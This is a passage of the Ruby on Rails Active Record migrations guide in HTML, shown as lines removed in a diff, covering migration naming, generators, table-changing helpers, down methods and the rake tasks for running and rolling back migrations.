-<div class="para"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Some <a href="#models">caveats</a> apply to using models in your migrations.</td>
-</tr></table>
-</div>
-<h3 id="_migrations_are_classes">1.1. Migrations are classes</h3>
-<div class="para"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
-<div class="para"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>create_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>change_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>drop_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>add_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>remove_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>change_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rename_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>add_index</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>remove_index</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
-write code to set the value of that column for existing records (if necessary using your models).</p></div>
-<div class="para"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
-<h3 id="_what_s_in_a_name">1.2. What's in a name</h3>
-<div class="para"><p>Migrations are stored in files in <tt>db/migrate</tt>, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
-<div class="para"><p>Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
-<div class="para"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
-<div class="para"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so <tt>rake db:migrate</tt> would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
-<div class="para"><p>Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.</p></div>
-<h3 id="_changing_migrations">1.3. Changing migrations</h3>
-<div class="para"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
-<div class="para"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
-</div>
-<h2 id="_creating_a_migration">2. Creating A Migration</h2>
-<div class="sectionbody">
-<h3 id="_creating_a_model">2.1. Creating a model</h3>
-<div class="para"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
-<div class="para"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
-
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>products
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
-are automatically populated by Active Record) will be added for you.</p></div>
-<h3 id="_creating_a_standalone_migration">2.2. Creating a standalone migration</h3>
-<div class="para"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
-<div class="para"><p>This will create an empty but appropriately named migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
-the appropriate add and remove column statements will be created.</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
-<div class="para"><p>will generate</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Similarly,</p></div>
-<div class="para"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
-<div class="para"><p>generates</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RemovePartNumberFromProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You are not limited to one magically generated column, for example</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
-<div class="para"><p>generates</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddDetailsToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price<span style="color: #990000">,</span> <span style="color: #990000">:</span>decimal
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price
-    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
-</div>
-<h2 id="_writing_a_migration">3. Writing a Migration</h2>
-<div class="sectionbody">
-<div class="para"><p>Once you have created your migration using one of the generators it's time to get to work!</p></div>
-<h3 id="_creating_a_table">3.1. Creating a table</h3>
-<div class="para"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
-<div class="para"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>string<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass <tt>:id &#8658; false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>options <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"ENGINE=BLACKHOLE"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
-<div class="para"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
-<div class="para"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
-types not supported by Active Record when using the non sexy syntax, for example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">'polygon'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This may however hinder portability to other databases.</p></div>
-<h3 id="_changing_tables">3.2. Changing tables</h3>
-<div class="para"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>remove <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
-  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>part_number
-  t<span style="color: #990000">.</span>index <span style="color: #990000">:</span>part_number
-  t<span style="color: #990000">.</span>rename <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column.   This is the same as doing</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>description
-remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
-add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
-</tt></pre></div></div>
-<div class="para"><p>You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
-<h3 id="_special_helpers">3.3. Special helpers</h3>
-<div class="para"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will create a new products table with those two columns whereas</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>adds those columns to an existing table.</p></div>
-<div class="para"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-  t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>attachment<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Photo'</span><span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#foreign_key">foreign key support</a>.</td>
-</tr></table>
-</div>
-<div class="para"><p>If the helpers provided by Active Record aren't enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
-<div class="para"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods),  <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
-<h3 id="_writing_your_down_method">3.4. Writing your down method</h3>
-<div class="para"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ExampleMigration <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900">#add a foreign key</span></span>
-    execute <span style="color: #FF0000">"ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"</span>
-
-    add_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-
-    rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-    remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url
-    execute <span style="color: #FF0000">"ALTER TABLE products DROP FOREIGN KEY fk_products_categories"</span>
-    drop_table <span style="color: #990000">:</span>products
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
-displayed saying that it can't be done.</p></div>
-</div>
-<h2 id="_running_migrations">4. Running Migrations</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
-<div class="para"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate VERSION=20080906120000</tt></pre>
-</div></div>
-<div class="para"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
-<h3 id="_rolling_back">4.1. Rolling back</h3>
-<div class="para"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:rollback</tt></pre>
-</div></div>
-<div class="para"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:rollback STEP=3</tt></pre>
-</div></div>
-<div class="para"><p>will run the <tt>down</tt> method from the last 3 migrations.</p></div>
-<div class="para"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate:redo STEP=3</tt></pre>
-</div></div>
-<div class="para"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
-<div class="para"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This is not the same as running all the migrations - see the section on <a href="#schema">schema.rb</a>.</td>
-</tr></table>
-</div>
-<h3 id="_being_specific">4.2. Being Specific</h3>
-<div class="para"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate:up VERSION=20080906120000</tt></pre>
-</div></div>
-<div class="para"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
-<h3 id="_being_talkative">4.3. Being talkative</h3>
-<div class="para"><p>By default migrations tell you exactly what they're doing and how long it took.
-A migration creating a table and adding an index might produce output like this</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
--- create_table(:products)
-   -&gt; 0.0021s
--- add_index(:products, :name)
-   -&gt; 0.0026s
-== 20080906170109 CreateProducts: migrated (0.0059s) ==========================</tt></pre>
-</div></div>
-<div class="para"><p>Several methods are provided that allow you to control all this:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>suppress_messages</tt> suppresses any output generated by its block
-</p>
-</li>
-<li>
-<p>
